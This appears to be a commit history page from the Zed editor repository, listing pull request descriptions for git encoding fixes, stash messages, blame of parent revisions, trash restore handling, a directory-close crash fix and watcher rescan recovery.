## Summary Fixes #56449. Related to #16965. Zed’s Git panel and Project Diff build UI diffs from `language::Buffer` diff bases loaded through the Git backend. Git blob loading previously converted bytes with `String::from_utf8(...).ok()`, so legacy-encoded blobs were treated as missing and the whole worktree file appeared newly added. This follows the same encoding path used for worktree buffers: - move shared byte decoding and encoding into `language` - keep Git blob, revision, and index APIs byte-oriented with `Vec<u8>` - decode diff bases and index contents in `GitStore`, where `language::Buffer`s are created - encode index writes using the open buffer’s encoding and BOM so partial staging does not rewrite the file as UTF-8 - keep worktree loading and saving on the same shared implementation Regression coverage includes Windows-1251 decoding/encoding, UTF-8/UTF-16 BOM preservation, raw Windows-1251 Git blob loading, and a `BufferDiffSnapshot` assertion that a one-line CP1251 edit produces one modified-line hunk instead of a full-file rewrite. This does not run Git `textconv` commands. It fixes the reported legacy-encoding case without executing repository-configured commands or modifying working files on disk. ## Testing - `cargo test -p language file_content::tests --locked` - `cargo test -p git repository::tests::test_load_revisions --locked` - `CARGO_INCREMENTAL=0 cargo test -p project git_store::tests::test_decode_git_text_windows_1251_one_line_change --locked` - `CARGO_INCREMENTAL=0 cargo test -p project --test integration test_restaging_hunk_after_optimistic_unstage --locked` - `CARGO_INCREMENTAL=0 cargo check -p project --tests --locked` - `CARGO_INCREMENTAL=0 cargo check -p git_ui --tests --locked` - `cargo fmt --all --check` - `git diff --check` ## Suggested .rules additions - N/A Release Notes: - Fixed Git panel and Project Diff rendering for legacy-encoded text files whose Git blobs are not valid UTF-8. --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
f0685e0a4f |
Support blaming parent revisions (#62614)
Closes https://github.com/zed-industries/zed/discussions/42583 Adds more tooltip entries and `editor::BlameRevision`, `editor::BlamePreviousRevision` actions to use. Started to highlight gutter blame entries that belong to currently annotated commit. https://github.com/user-attachments/assets/ba754e0b-6431-407c-8d79-2f8b0324fde1 Release Notes: - Supported blaming parent revisions |
||
|
|
c6b01d8a20 |
Add optional message support to git stash (#62439)
Show a modal when invoking the stash action to allow users to provide an optional custom message for the stash entry. Closes #62430 # Image <img width="1622" height="1106" alt="Screenshot 2026-08-10 at 9 14 00 PM" src="https://github.com/user-attachments/assets/0d26dac2-919d-4bb1-b6a7-433ceff18955" /> <img width="1622" height="1106" alt="Screenshot 2026-08-10 at 9 14 11 PM" src="https://github.com/user-attachments/assets/896b68ff-999f-4ec9-a6a4-e0e7a6867286" /> # Objective Zed's stash action runs `git stash push --quiet --include-untracked --` with no `-m`, so every stash is labelled with git's auto-generated `WIP on <branch>: <sha> <subject>`. That text describes the commit you were sitting on, not what you stashed — so two stashes taken from the same commit are indistinguishable. This undercuts the stash picker (`git::ViewStash`), which lists entries as `#<index>: <message>` and fuzzy-searches over exactly that string. The search box already exists; there is just nothing meaningful to search, because every candidate is a variation of the same auto-generated line. ## Solution `git::StashAll` now opens a single-line modal ("Optionally provide a stash message") before stashing. - Confirming with text passes `--message <text>` to `git stash push`. - Confirming with the field empty omits the flag entirely, keeping git's default description — so the prompt is a one-keystroke pass-through and existing muscle memory still works. - Cancelling aborts the stash, so the prompt doubles as a confirmation step. Implementation: - `StashMessageModal` (`Editor::single_line`) in `git_panel.rs`, toggled from `GitPanel::stash_all`. `menu::Confirm` trims the input and maps empty to `None`. - `message: Option<String>` threaded through `Repository::stash_all` → `stash_entries` → `GitRepository::stash_paths`. The flag is appended before the `--` separator so a message is never parsed as a pathspec. - New `message` field on the `Stash` proto message, so remote and collab projects behave identically. One non-obvious detail: the modal is opened via `cx.defer_in` rather than inline. `git::StashAll` is registered on the workspace (`git_ui.rs`) as well as on the panel element, and `Workspace::register_action` dispatches while `Workspace` is leased — so opening the modal inline re-enters that update and hits GPUI's `double_lease_panic`. This only reproduces when focus is *outside* the Git Panel, which makes it easy to miss. `Option<String>` rather than `String` is deliberate: `--message ""` produces a blank stash description, which is strictly worse than git's default. ## Testing Manually verified the modal in a local build on macOS: the prompt appears on `git::StashAll`, accepts a message, and the named entry shows up in the stash picker. Also verified at the git level by replaying the exact argument vector `stash_paths` builds against a scratch repo with mixed staged / unstaged / untracked changes: | Case | Result | |---|---| | `stash push --quiet --include-untracked --message "my named stash" -- <paths>` | `stash@{0}: my named stash`; worktree clean, untracked file included | | same, without `--message` | `stash@{0}: <sha> <subject>` — git's default text | | `--message "x" --` with no paths (clean repo) | exit 0, no stash created — the empty pathspec does **not** stash everything | `cargo fmt --check` clean, `./script/clippy -p git -p fs -p project -p git_ui` passes with `--deny warnings`, and the existing suites pass (`cargo test -p project -p git_ui`, 436 tests). Worth a reviewer's attention: trigger `git::StashAll` with focus in the **editor** rather than the Git Panel. That routes through the workspace action registration and is the case the `cx.defer_in` deferral exists to keep from panicking. No new automated tests — the behavior is testable with the existing `git_panel.rs` harness (`init_test`, `GitPanel::new`) if reviewers would prefer coverage over a manual check. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments — n/a, no unsafe added - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior — no new tests; see Testing - [x] Performance impact has been considered and is acceptable — one extra process argument; no new work on any hot path --- Release Notes: - Added an optional stash message prompt when stashing changes ` --------- Co-authored-by: Chris Biscardi <chris@christopherbiscardi.com> |
||
|
|
1271f8b0e8 |
Bump rustc to 1.97 (#62395)
Release Notes: - N/A |
||
|
|
5e1fd392f6 |
git: Add diff_base setting for showing changes since the default branch (#61501)
# Objective Let git indicators — the editor gutter, file colors, and `git::Diff` — show all changes on the current branch relative to its merge base with the default branch, instead of only uncommitted changes. Supersedes #60398; thanks to @samuelcolvin for the original implementation and motivation. Closes FR-135 ## Solution - New `git.diff_base` setting (`"head"` | `"default_branch"`), applied live and toggleable per session from the editor controls menu ("Diff Against Default Branch"). - Statuses come from a real merge-base-to-worktree tree diff (`git diff --merge-base`), so local edits that revert branch changes correctly show as unchanged. - `GitStore` shares one `DiffBufferList` per repository with the Branch Diff view; `repo_snapshots` and `project_path_git_status` keep returning index/worktree truth, while display surfaces use separate `display_*` APIs. - `BufferDiff` now records what its base is (`DiffBaseKind`); hunks whose base isn't HEAD are read-only in the gutter — stage/restore buttons and keybindings are inert, so committed work can't be silently rewritten. - `git::Diff` follows the setting; new `git::DiffHead` always opens the HEAD diff; `git::BranchDiff` is renamed `git::DiffBranch` (deprecated alias kept). Tradeoffs / known limitations: - Hunk-level staging is unavailable while in `default_branch` mode (whole-file staging via the git panel still works). Staging just the uncommitted sub-ranges of a branch hunk is a follow-up. - Remote hosts running an older server ignore the new `GetTreeDiff.includes_worktree` proto field and degrade to committed-changes-only branch diffs. - Repositories with no resolvable default branch fall back to HEAD-relative behavior; a failed first resolution retries on the next branch-list change. ## Testing - Real-git-repo tests for the merge-base-to-worktree diff's edge cases: files recreated after index deletion, committed deletions recreated on disk, and symlinks. - GPUI tests for status semantics (a branch change reverted on disk shows clean), `git::Diff` routing, live setting changes, and read-only hunk enforcement (restore/stage leave buffer and index untouched). ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Git: Added a `git.diff_base` setting (`"head"` or `"default_branch"`) that makes the editor gutter, file colors, and diff view show all changes on the current branch since its merge base with the default branch, instead of only uncommitted changes. --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
f85349be9c |
fs: Keep trash registry entry when restore fails (#61791)
# Objective A failed restore, for example, a collision at the original path, used to remove the `TrashedEntry` from the registry before attempting the operation, so any later attempt with the same `TrashId` would report an `AlreadyRestored` error, even though the item still sat in the system trash. ## Solution Update both `RealFs::restore` and `FakeFs::restore` to remove the entry only after the restore succeeds. There's also a small unrelated change in `ProjectPanel::drag_onto` to log, rather than silently discard, a failed undo-history record in the project panel, matching existing call sites. ## Testing Introduced a new test for these changes – `restore_can_be_retried_after_collision` . ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
ba4cb2a2cc |
Trim trailing newline from git clone error messages (#61674)
# Objective When `git clone` fails, the error message produced by git is collected, propagated, and finally displayed to the user in a pop-up. However, the pop-up always contains an extra blank line. The root cause is that Zed builds the error message using simple string concatenation: https://github.com/zed-industries/zed/blob/82aef44308540b576e4e51fb379efa71614e5c91/crates/fs/src/fs.rs#L1253-L1258 and the error message from `git clone` contains a trailing newline, which results in the blank line in Zed's error pop-up. ## Solution Trim the trailing whitespace from the error message produced by `git clone`. ## Testing Built and tested locally. The before/after comparison is shown below. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- ## Show Case | Before | After | | :--: | :--: | | <img width="846" height="937" alt="Before" src="https://github.com/user-attachments/assets/26b918b9-57dc-46e8-880a-525dd4ae257d" /> | <img width="840" height="952" alt="After" src="https://github.com/user-attachments/assets/fb6380e3-afad-4a5a-98b1-05e059fd16f5" /> | Release Notes: - Fixed extra blank line appearing in git clone error messages |
||
|
|
8780e3a1e2 |
project_panel: Refactor undo and redo error messages (#60186)
# Objective Improve the error messages shown when undoing or redoing project panel operations fail. Right now we're mostly relying on the error message generated by the underlying function or method that attempts to apply the inverse operation, which might not be the best UX. ## Solution * Update the style used in the `Workspace::show_notification` call, under `project_panel::undo::Inner::show_error`, in order to use markdown styling. This allows paths to stand out a little bit better, which is helpful seeing as pretty much all error messages will contain path information in the notification's body. * Update the way paths are displayed so as to show the full relative path and, if multiple worktrees are present, include the worktree name. This helps disambiguate cases where multiple worktrees might have the same path, for example, `src/lib.rs`. * Update each specific operation's error message to better convey what exactly failed. ## Testing Manually tested each of the scenarios outlined in the `Showcase` section. Please refer to the screenshots in that section to see before and after comparisons ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable ## Showcase ### Undo failures <details> <summary>1. Move conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/` (cut/paste or drag)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="1_before" src="https://github.com/user-attachments/assets/d60660d1-ba85-4a08-82a3-a6e3f6d84506" /> | <img width="2736" height="1586" alt="1_after" src="https://github.com/user-attachments/assets/c050f287-b186-42db-8995-57102d1db4d2" /> | </details> <details> <summary>2. Rename conflict</summary> | Steps | Before | After | | --- | --- | --- | | 1. Rename `a.txt` → `b.txt`<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="2_before" src="https://github.com/user-attachments/assets/0c0eb0bc-ea01-4642-a63a-69687b2ba13e" /> | <img width="2736" height="1586" alt="2_after" src="https://github.com/user-attachments/assets/68dba045-60b2-462e-9f34-5bb038a4a245" /> | </details> <details> <summary>3. Source no longer exists</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`<br>2. Run `rm docs/a.txt`<br>3. Undo | <img width="2736" height="1586" alt="3_before" src="https://github.com/user-attachments/assets/2f55327c-d478-44f5-ac85-5e0b10044a52" /> | <img width="2736" height="1586" alt="3_after" src="https://github.com/user-attachments/assets/5296b431-c2a1-408e-8920-9f2d5c1d169a" /> | </details> <details> <summary>4. Restore from emptied Trash</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (moves it to Trash)<br>2. Empty it from the system Trash<br>3. Undo | <img width="2736" height="1586" alt="4_before" src="https://github.com/user-attachments/assets/41966e44-409a-4ae2-ada1-59992658f1b5" /> | <img width="2736" height="1586" alt="4_after" src="https://github.com/user-attachments/assets/f6df01f9-0702-4f28-80aa-eb2289077ea5" /> | </details> <details> <summary>5. Restore collision</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash)<br>2. Run `touch a.txt`<br>3. Undo | <img width="2736" height="1586" alt="5_before" src="https://github.com/user-attachments/assets/f4151e85-7668-4dab-8cf4-b45ef0fdb741" /> | <img width="2736" height="1586" alt="5_after" src="https://github.com/user-attachments/assets/3f25aa56-1b59-4230-9a15-b39a0d280a48" /> | </details> <details> <summary>6. Trash a file that's gone</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt` in the panel<br>2. Run `rm empty.txt`<br>3. Undo | <img width="2736" height="1586" alt="6_before" src="https://github.com/user-attachments/assets/077edeb8-3618-4b72-b49f-9d1cc3a801d5" /> | <img width="2736" height="1586" alt="6_after" src="https://github.com/user-attachments/assets/4b1d6689-93b1-4725-8829-2f71b4b586e9" /> | </details> ### Redo failures <details> <summary>7. Redo a move into an occupied destination</summary> | Steps | Before | After | | --- | --- | --- | | 1. Move `a.txt` into `docs/`, then Undo (file back at root)<br>2. Run `touch docs/a.txt`<br>3. Redo | <img width="2736" height="1586" alt="7_before" src="https://github.com/user-attachments/assets/d6591d08-b0a1-4992-866f-fcc26491ba8c" /> | <img width="2736" height="1586" alt="7_after" src="https://github.com/user-attachments/assets/b46d5fe2-09be-4264-9834-f5965f5f1150" /> | </details> <details> <summary>8. Redo a restore after the Trash was emptied</summary> | Steps | Before | After | | --- | --- | --- | | 1. Create `empty.txt`, then Undo (it gets trashed)<br>2. Empty it from the system Trash<br>3. Redo | <img width="2736" height="1586" alt="8_before" src="https://github.com/user-attachments/assets/9ced2696-1bdf-4b33-aaaf-abc015787505" /> | <img width="2736" height="1586" alt="8_after" src="https://github.com/user-attachments/assets/bfc84fc3-c97f-474d-857c-3d5137d06b83" /> | </details> <details> <summary>9. Redo a re-trash of a deleted file</summary> | Steps | Before | After | | --- | --- | --- | | 1. Delete `a.txt` (to Trash), then Undo (restores it)<br>2. Run `rm a.txt`<br>3. Redo | <img width="2736" height="1586" alt="9_before" src="https://github.com/user-attachments/assets/3152787d-c02c-482e-a70a-600e97a44b3b" /> | <img width="2736" height="1586" alt="9_after" src="https://github.com/user-attachments/assets/7dd40497-0dfc-41fa-a6ac-772562d29258" /> | </details> --- Release Notes: - N/A |
||
|
|
ab92195a02 |
fs: Update trash-rs version (#61721)
# Objective Update the version of `trash-rs` used in order to contain the fix for the panic when restoring a non-existing trash item in Linux – https://github.com/zed-industries/trash-rs/commit/41c6c800d884a89351f3b8856d12894cccee261d . ## Solution N/A ## Testing N/A ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [ ] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - N/A |
||
|
|
30730a305a |
fs: Fix crash loop from closedir panic during worktree scan (#59953)
# Objective Fixes #59952. Zed crash-loops on launch. The faulting thread aborts inside the Rust standard library while closing a directory handle during background worktree scanning: `std`'s `DirStream::drop` (`library/std/src/sys/fs/unix.rs`) `assert!`s that `closedir()` succeeds unless the error is `EINTR`. That handle originates in `RealFs::read_dir`, which wraps `std::fs::read_dir(path)` in `stream::iter(...)` and carries the live `ReadDir` across async boundaries; the worktree `BackgroundScanner` (`scan_dir` → `forcibly_load_paths`) later drops the stream. If `closedir()` returns a non-`EINTR` error (e.g. `EBADF` under file-descriptor pressure — seen alongside repeated `unable to start FSEvent stream` warnings on a large dependency tree), `std` panics inside `Drop`. Zed's `crashes::panic_hook` turns any panic into `process::abort()`, and because the same workspace is re-scanned every launch, this is a permanent crash loop. (`catch_unwind` can't help: the hook aborts before unwinding.) ## Solution Stop relying on `std`'s asserting close. Add a `read_dir_entries(path)` helper that reads entries eagerly so the directory handle is opened and closed within a single call: - On unix, read via libc (`opendir`/`readdir`/`closedir`) and **deliberately ignore a failing `closedir`**, so a close error degrades gracefully instead of aborting the process. - On non-unix, keep `std::fs::read_dir` (which has no such assert) but collect eagerly so the handle is dropped within the call. `RealFs::read_dir` now calls this helper. The change is scoped to `crates/fs/src/fs.rs`; the watcher, scanner, and panic hook are untouched. ## Testing - Added unit tests in `crates/fs/src/fs.rs` for `read_dir_entries`: entry listing, `.`/`..` exclusion, empty directories, and the missing-directory error path. - `cargo test -p fs read_dir` → 3 passed. - `RUSTFLAGS="-D warnings" cargo build -p fs`, `cargo clippy -p fs --all-features --all-targets -- -D warnings`, and `cargo fmt -p fs --check` are all clean. - Tested on macOS (aarch64). The `fs` crate compiles within the full `cargo build -p zed` graph. I could not produce a running app binary in my environment (the `gpui_macos` Metal step needs full Xcode, not just Command Line Tools) — reviewers on a full Xcode setup can `cargo run -p zed`. - The original `closedir` `EBADF` is not deterministically reproducible, so the fix is structural rather than verified against a live repro; the tests guard the read path and behavior. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards — N/A (no UI change) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed Zed crash-looping on launch when `closedir` fails during background directory scanning ([#59952](https://github.com/zed-industries/zed/issues/59952)). --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
64672ee816 |
worktree: Reload git state when a watcher rescan covers a repository (#61541)
# Objective When the OS file watcher loses sync (e.g. its event queue overflows under heavy fs churn), it drops pending events and reports a single `Rescan` event for the watched root. Git changes hidden behind such a rescan were silently lost, leaving the git panel and branch indicator stale until something else touched `.git`. Contributes to #13176. May fix #60102, though that report predates #60660 and may already be addressed by it on nightly (see Related PRs below). Two bugs caused this, and they masked each other: 1. **A rescan never triggered a git reload.** The `Rescan` event's path is the worktree root, not something inside `.git`, so it never populated `dot_git_abs_paths` in `process_events` — and since `.git` is excluded from entry scanning, the rescan produced no `.git` events either. The dropped git changes were simply never picked up. 2. **Re-scanning reset `git_dir_scan_id` to 0.** The snapshot diff detects git changes by comparing scan ids, so re-inserting the repository with a fresh id could wipe out a bump made earlier in the same scan cycle, swallowing the corresponding `UpdatedGitRepositories` signal. The masking is why these fixes land together rather than as two PRs: the root-rescan case in `test_dot_git_dir_event_does_not_suppress_children` only passed on `main` because the buggy scan-id reset made the snapshot diff fire spuriously. Fixing either bug alone turns that (currently green) test red. ## Solution - `process_events`: a `Rescan` event now schedules a git state reload for every repository whose git directory (`dot_git`, `common_dir`, or `repository_dir`) lies under the rescanned path, covering linked worktrees and gitfile repositories, including git dirs watched outside the worktree root. - `insert_git_repository_for_path`: carry the existing `git_dir_scan_id` forward when re-inserting a repository instead of resetting it to 0. Deliberately *not* bumped either: re-insertion is snapshot bookkeeping, not evidence of a git change — bumping would trigger spurious full reloads on non-lossy paths (explicit refreshes, path-prefix scans). Only `update_git_repositories` claims that git state changed. - `changed_repos`: a `debug_assert` enforcing that `git_dir_scan_id` never regresses, so future violations of this invariant fail loudly in tests instead of manifesting as a stale git panel. ## Testing New fault-injection infrastructure and tests: - `FakeFs::simulate_watcher_overflow` models the kernel's watch queue overflowing: buffered (undelivered) events are discarded and replaced by a single `Rescan` for the given root, mirroring FSEvents `kFSEventStreamEventFlagMustScanSubDirs`, inotify `IN_Q_OVERFLOW`, and Windows `ERROR_NOTIFY_ENUM_DIR`. - `test_watcher_overflow_rescan_reloads_git_state`: a git change whose events are lost to an overflow must still be picked up via the rescan (reproduces bug 1; fails on `main`). - `test_git_update_in_same_batch_as_rescan_is_not_lost`: a git event processed in the same batch as a rescan must not lose its scan-id bump to the repository re-insertion (reproduces bug 2; fails on `main`). - `test_random_git_updates_with_watcher_overflows`: randomized property test (100 iterations) asserting that every git state change is eventually signaled via `UpdatedGitRepositories` under random event batching, delays, and overflows. Fails on `main` within the first few seeds. - `test_random_worktree_changes` now also injects watcher overflows, extending its existing convergence property to rescan reconciliation of worktree entries (this already passed; the injection guards it going forward). Full `worktree` and `fs` suites pass. Verified the directed tests exercise the intended code paths via trace logging (the same-batch test hits `update_git_repositories` stamping followed by re-insertion, distinct from the overflow test where no `.git` event arrives at all). ## Related PRs The recent stale-git-state reports trace back to three distinct mechanisms that share one symptom. This PR addresses the third: - **Events never generated** — #60660 (merged, in this PR's base): Linux's non-recursive watcher missed nested `refs/` directories, so external commits/fetches produced no events at all. That PR (together with #60590, which explicitly rescans after Zed-initiated reset/fetch and touches only `git_store.rs`) fixed #60348. No overlap with this PR; a merge against current `main` is clean, and the refs-watching tests are disjoint from the overflow/rescan tests added here. - **Events coalesced** — #59876 (open, complementary): FSEvents can merge `.git` child events into a bare `.git` `Changed` event; the signal arrives, in a shape Zed ignores. @RemcoSmitsDev's review comment there describes this PR's failure mode and calls the two fixes complementary; this is effectively the follow-up promised in that comment. Both PRs touch the same region of `process_events`, so whichever lands second needs a trivial rebase, and #59876 flips the bare-`.git` expectation in `test_dot_git_dir_event_does_not_suppress_children` Case 2, which this PR preserves. - **Events dropped** — this PR: the watcher generated events but lost them to a queue overflow, and the resulting `Rescan` did not reach the git reload path. #59976 and #60098 (merged) reduced how often this happens; this PR makes git state recover correctly when it does. ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed the git panel and branch indicator showing stale state after heavy file-system activity caused the file watcher to lose events |
||
|
|
775e51f95c |
Support loading Git commit templates when remote (#55490)
## Summary Fixes the git commit template not loading in remote (SSH) projects. The `load_commit_template_text` method in `git_store.rs` was a no-op for `RepositoryState::Remote`, always returning `Ok(None)`. This patch adds a `LoadCommitTemplate` RPC so the client can ask the remote host to read its `commit.template` git config and return the file contents — mirroring the existing `GetBlobContent` pattern. ## Changes - **`crates/proto/proto/git.proto`** — new `LoadCommitTemplate` / `LoadCommitTemplateResponse` messages. - **`crates/proto/proto/zed.proto`** — registered envelope IDs 449/450. - **`crates/proto/src/proto.rs`** — wired up message priority, request pairing, and entity-message routing. - **`crates/project/src/git_store.rs`** — added `handle_load_commit_template` on the host side; replaced the `Ok(None)` no-op on the remote side with the RPC call. ## Self-Review Checklist - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments — *no unsafe code added* - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) — *no UI changes* - [ ] Tests cover the new/changed behavior — *see "Testing notes" below* - [x] Performance impact has been considered and is acceptable — *one extra RPC on commit panel open for remote projects only; payload is a single optional string* ## Testing notes — why no automated test I did write an integration test (`test_remote_git_commit_template` in `collab/tests/integration/git_tests.rs`, modeled after `test_remote_git_head_sha`) along with the supporting changes to `FakeGitRepositoryState` (adding a `commit_template` field + `set_commit_template_for_repo` setter on `FakeFs`, since the fake hardcoded `load_commit_template` to `None`). The test compiled and the smaller crates (`fs`, `proto`, `project`) checked clean, but `cargo test -p collab --test collab_tests` cold-compile takes a very long time on my machine and I wasn't able to confirm the test actually passed locally. Rather than push a test I hadn't seen pass, I removed it. Happy to add it back in a follow-up PR (or in this one if reviewers prefer) once I can run the collab suite end-to-end — the diff is small and I can share it on request. Verification was done end-to-end manually using a Docker dev container as the SSH remote: #### Closes #55265 Video : [Screencast from 2026-05-02 18-09-03.webm](https://github.com/user-attachments/assets/9cb7f375-57fa-4af3-bde4-871c28f61efc) Release Notes: - Added support for loading git commit template messages in both remote and collab projects. --------- Co-authored-by: dino <dinojoaocosta@gmail.com> |
||
|
|
88447e9b9c |
Fix the macOS tests that hang locally (#61407)
See also https://github.com/zed-industries/notify/pull/9 <img width="2088" height="266" alt="image" src="https://github.com/user-attachments/assets/f4bc0b5c-76a9-424a-9abc-abde6e56b9db" /> Release Notes: - N/A |
||
|
|
54fdf58d3a |
git_panel: Show staged and unstaged diff stats (#60815)
# Objective - Show accurate diff stats for each staged and unstaged projection of a partially staged file in the Git panel. - This was originally considered for https://github.com/zed-industries/zed/pull/59884, but was scoped out of that already-large PR and is being submitted separately as discussed there. ## Solution - Collect HEAD-to-index and index-to-worktree diff stats alongside the existing combined HEAD-to-worktree stats. - Carry the staged and unstaged stats through repository status snapshots and remote status serialization. - Use the stat matching the projected Git panel section while preserving the combined stat for the other grouping modes. - Update the fake Git repository and add regression coverage with deliberately different staged and unstaged counts. ## Testing - `cargo check -p git_ui` - `cargo check -p collab` - `cargo test -p git_ui test_group_by_staging_section_membership_and_order --lib` - `cargo test -p project --lib --no-run` - `cargo fmt --all -- --check` - `git diff --check` ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable --- Release Notes: - Fixed diff stats for partially staged files in the Git panel |
||
|
|
b562439e93 |
project_panel: Add remote support for undo/redo system (#59709)
# Objective Add remote (SSH) and collaboration support for trashing and restoring files in the project panel, which in turn enables undo/redo of trash operations against remote and collab projects. Relates to #5039. ## Solution - Updated the project panel undo system to carry `TrashId` instead of `TrashedEntry`. - Using `TrashedEntry` could get hairy, as it includes paths, which wouldn't play too nicely when using, for exapmle, macOS as the client and Windows as the host. Using a simple identifier is much easier in this regard and simplifies implementation. - Enabled the Trash action and context-menu entry on remote projects, and removed the command palette filter in `ProjectPanel::new` that was still hiding the action on remote. - As far as I can tell, there isn't a reliable way to detect whether a given remote actually supports the OS trash, so we expose the action everywhere rather than guessing. On a remote without trash support the action will fail when invoked but this is a conscious tradeoff until we find a better way to handle this. - `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on each `Fs` implementation. Trashed files are referenced by an opaque `TrashId` instead of passing a `TrashedEntry` around, which avoids serializing filesystem paths in remote messages. - Split the old `delete_entry(trash: bool)` API into distinct `trash_entry`/`trash_file` (returning a `TrashId`) and `delete_entry`/`delete_file` across `Project`, `Worktree`, `LocalWorktree` and `RemoteWorktree`. - This lets us drop the optional trash result (`Option<TrashedEntry>`) from the delete path and require a `TrashId` from the trash path. - Added new proto messages (`TrashProjectEntry`, `TrashProjectEntryResponse`, `RestoreProjectEntry`, `RestoreProjectEntryResponse`) to let clients request the host to trash or restore entries. - This deprecates `DeleteProjectEntry::use_trash`, but the host still honors it. An older collab peer may request trashing via that flag instead of the newer `TrashProjectEntry`. If the host ignored it, a newer host would permanently delete a file the user meant to send to the trash. The field will be removed in a later PR once all supported peers use `TrashProjectEntry`. ## Testing The following tests were introduced to ensure the new behavior is correctly tested: * `remote_server::remote_editing_tests::test_remote_trash_restore` – Tests trashing a project entry in remote * `remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash` – Test to ensure we continue respecting `DeleteProjectEntry::use_trash` until it is fully removed * `project_panel::tests::undo::trash_directory_undo_redo` – Not related to these changes but a nice to have as we were missing a test ensuring that trashing and then undoing and redoing it for a directory works as expected Besides these, the following scenarios were manually tested against a remote session on the same machine (macOS): - Trashing → Undo (Restore) → Redo (Trashing) - Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing) - Rename → Undo (Rename) → Redo (Rename) - Move → Undo (Move) → Redo (Move) - Batch Move → Undo (Batch Move) → Redo (Batch Move) ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [ ] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [ ] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Yara <git@yara.blue> |
||
|
|
f181a2f47b |
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as well as better sharing for our projects. This also includes the WIP AbsPath abstraction as well as some bug fixes from internal tooling. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
a1230fc584 |
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
